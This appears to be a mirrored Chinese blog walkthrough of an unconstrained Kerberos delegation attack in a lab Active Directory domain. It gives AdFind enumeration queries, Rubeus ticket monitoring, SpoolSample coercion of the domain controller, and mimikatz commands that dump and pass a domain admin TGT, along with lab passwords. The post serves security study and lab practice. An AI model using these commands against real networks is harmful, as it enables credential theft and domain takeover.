4

非约束委派攻击

 2 years ago
source link: https://antipassion.github.io/2022/01/06/%E9%9D%9E%E7%BA%A6%E6%9D%9F%E5%A7%94%E6%B4%BE%E6%94%BB%E5%87%BB/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

简介

委派

在域中如果出现A使用Kerberos身份验证访问域中的服务B,而B再利用A的身份去请求域中的服务C，这个过程就可以理解为委派

image-20220106232045335

User访问主机S2上的HTTP服务，此时要想完整的使用HTTP服务，需再访问S3主机上的SQL数据库，但S2并不知道域用户是否拥有权限访问S3上的数据库服务权限，这时为了验证权限，S2会带着User的访问权限去申请访问SQL数据库，若User拥有权限才可进行访问。

非约束委派

非约束委派Kerberos中实现时，User会将自KDC拿到的TGT发送给访问的服务机器Service1,Service1再通过拿到手的TGT票据去申请访问其他域内服务，Service1在拿到用户的TGT票据后，会对其留存，以便下次备用，这时，我们便可在拿下的Service1机器中拿到域用户的TGT票据，从而访问域内的可访问服务(域管用户可访问任意服务)

非约束委派流程图

image-20220106233107179

流程

1.用户发KPB_AS_REQ消息请求[可转发TGT（forwardable TGT）] ,为了方便，先将其称之为TGT1。

2.KDC在KPB_AS_REQ中返回给User TGT1。

3.用户再通过TGT1向KDC请求转发TGT（forwardedTGT，我们称之为TGT2）。

4.在KRB_TGS_REP消息中返回Forwarded TGT 给User

5.User使用TGT1向KDC申请访问service1的ST(service Ticket)

6.KDC返回给用户一个ST

7.User发送KRB_AP_REQ请求至service1，这个请求包括了TGT1和ST、TGT2、TGT2的sessionKey。

8.service1使用用户的TGT2使用KRB_TGS_REQ发送给KDC，以用户的名义申请可以访问service2的票据.

9.KDC在KRB_TGS_REP消息中返回service2到service1的票据.

10.Service1以用户的名义向Service2发起KRB_AP_REQ请求.

11.Service2响应步骤10中的Service1请求。

12.Service1响应步骤7中用户的请求。

13.在这个过程中的TGT转发机制，没有限制Service1对TGT2的使用，也就是说Service1可以通过TGT2来请求任意服务。

14.KDC返回步骤13中请求的票据

15.和16即为Service1通过模拟用户来访问其他Service。

下面对非约束委派进行复现利用

非约束委派配置

setspn -U -A MSSQLvc/mssql.vulntarget.com:1433 win2016

image-20220108233836061

当DC配置SPN给域用户Win2016时，在域内将可产生对域用户的委派，我们可以看到，域管理员勾选win2016用户的委派-信任此用户作为任何服务的委派时，将会造成非约束委派的问题。

image-20220108234035281

image-20220109002924052

非约束委派其特征

当域用户或机器被设置了非约束委派时，其userAccountControl属性将会包含一个名为”TRUSTED_FOR_DELEGATION”的标志。

我们可以在ADSI编辑器中找到

image-20220108234917330

探测域内是否存在非约束委派

win2019 10.0.10.110 dc vulntarget\win2019::Admin@666
win2016 10.0.10.111 域内机器 vulntarget\win2016::Admin#123

查找利用账户时，我们暂且不考虑机器账户，因为拿到域内机器账户的票据后，我们无法用于远程访问，因此，我们在进行非约束委派攻击时，首先考虑域用户，但这并不意味着机器账户没有任何用处，当我们可以对机器账户进行非约束委派攻击时，我们可以根据拿到的机器账户TGT票据进行DCsync拿到域内hash等操作。

利用adfind查找域内启用了非约束委派的机器

adfind.exe -h 10.0.10.110 -u vulntarget\win2016 -up Admin#123 -b "DC=vulntarget,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

image-20220108235639960

无需域用户账号密码查询非约束委派的域用户

AdFind.exe  -b "DC=vulntarget,DC=com" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

利用adfind查找域内启用了非约束委派的域内用户

adfind.exe -h 10.0.10.110 -u vulntarget\win2016 -up Admin#123 -b "DC=vulntarget,DC=com" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

image-20220108235703392

无需密码查找域内非约束委派的主机

AdFind.exe -b "DC=vulntarget,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

机器账户的非约束委派攻击

首先在具备非约束委派攻击条件的域内机器执行Rubeus.exe监控登录操作，并实时转储TGT,（此操作需要本地管理员权限）

Rubeus.exe monitor /interval:1  /filteruser:win2019$

image-20220109000813844

利用spoolsample项目使域控强制认证域机器抓取转储tgt

SpoolSample.exe win2019 win2016

image-20220109003544258

很遗憾，此处由于dc已是win2019 ，强制认证已经得到微软的修复，因此此处转储机器账户TGT失败。

**低版本域控强制认证成功案例待补充**

但再Win2019 以下如win2012 win2008等服务器内 ，使用spoolSample项目强制域控机认证域机器是有很大概率奏效的。

域用户的非约束委派攻击

倘若发现存在非约束委派的用户，这时，我们可以在域内所有可以登陆此用户的域内机器上尝试非约束委派攻击，获取其缓存的服务账号票据，并期望获得域控的票据。

image-20220109225405402

根据前文所用的adfind.exe ，我们可以发现，在win2016机器上，具有我们执行域用户的非约束委派攻击的条件

image-20220109225908898

此处为了演示效果，我们主动让域控对域内机器win2016发起认证

Enter-PSSession -ComputerName win2016

image-20220109230059651

此时，在win2016机器内已经存储下来了域管账户的tgt票据。

在win2016机器内利用mimikatz转储票据(以管理员权限启动)

privilege::debug
kerberos::purge 
sekurlsa::tickets /exports

image-20220109230735844

可以看到转储成功，已拿到域管用户的tgt票据，接下来利用ptt hash传递，获得域管权限。

PTT之前，我们是无法通过Kerberos认证访问域控机的共享目录的

image-20220109230941828

利用mimikatz进行ptt

kerberos::ptt [0;2c7f64][email protected]

image-20220109231126642

此时已成功执行！

image-20220109231509139


report

Recommend

  • 23
    • www.cnblogs.com 4 years ago
    • Cache

    设计模式之委派模式，大名鼎鼎的Spring都在用

    什么是委派模式 虽然说委派模式不属于Gof23中设计模式，但这并不影响它成为一种经典的设计模式。 “委派”字面意思就是指派一件事情给某人。类比到生活中的场景，比如项目leader指派开发任务给下面的猿猿们。这听起来有...

  • 11
    • y4er.com 3 years ago
    • Cache

    Kerberos协议之约束委派

    上文说到非约束委派，本文来说约束委派。 概述 因为非约束委派的不安全性，约束委派应运而生。在2003之后微软引入了非约束委派，对Kerberos引入S4U，包含了两个子协议S4U2self、S4U2proxy。S4U2self可以代表自身请求针对...

  • 10
    • y4er.com 3 years ago
    • Cache

    XXE到域控复现(基于资源的约束委派)

    奇安信Ateam文章地址： XXE to 域控 概述 本文...

  • 13
    • y4er.com 3 years ago
    • Cache

    Kerberos协议之基于资源的约束委派

    在之前的约束委派文章中提到，如果配置受约束的委派，必须拥有SeEnableDelegation特权，该特权是敏感的，通常仅授予域管理员。为了使用户/资源更加独立，Windows Server 2012中引入了基于资源的约束委派。基于资源的约束委派允许资源配置受...

  • 10
    • y4er.com 3 years ago
    • Cache

    Kerberos协议之非约束委派

    Kerberos协议之非约束委派 – Y4er的博客Kerberos协议之非约束委派📅 2020年12月12日  ·  ☕ 4 分钟 将我的权限给服务账户一句话概况，委派就是将域内用户的权限委派给服务账号，使得服务账号能以用户权限开展域内活动。

  • 12
    • y4er.com 3 years ago
    • Cache

    Kerberos Bronze Bit Attack 绕过约束委派限制

    Kerberos Bronze Bit Attack 绕过约束委派限制2020-12-22 KerberosShare on: Kerberos Bronze Bit Attack又称Kerberos青铜比特攻击，由国外netspi安全研究员Jake Karnes发现的漏...

  • 14
    • segmentfault.com 3 years ago
    • Cache

    手撸golang 行为型设计模式 委派模式

    手撸golang 行为型设计模式 委派模式 缘起 最近复习设计模式 拜读谭勇德的<<设计模式就该这样学>> 本系列笔记拟采用golang练习之 委派模式 委派模式（Delegate...

  • 4
    • jitwxs.cn 2 years ago
    • Cache

    Java 双亲委派机制

    Jitwxs's Blog 一、ClassLoader 在介绍双亲委派机制之前，必须先要了解类加载器 ClassLoader，当 .java 文件经过编译生成 .class 文件后，需要通过 ClassLoader 将其加载入 JVM 中。 Java 中包括以下四...

  • 8
    • antipassion.github.io 2 years ago
    • Cache

    约束委派攻击

    约束委派攻击 发表于 2022-01-09...

  • 6
    • antipassion.github.io 2 years ago
    • Cache

    基于资源的约束委派

    基于资源的约束委派利用基于资源的约束委派，(Resource-based constrained delegation)，与前文提到的约束委派不同，它在信任的传递关系上是不同的，这也是它工作方向相反的一个因素。 在约束委派中，账户A到账户B的约...

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK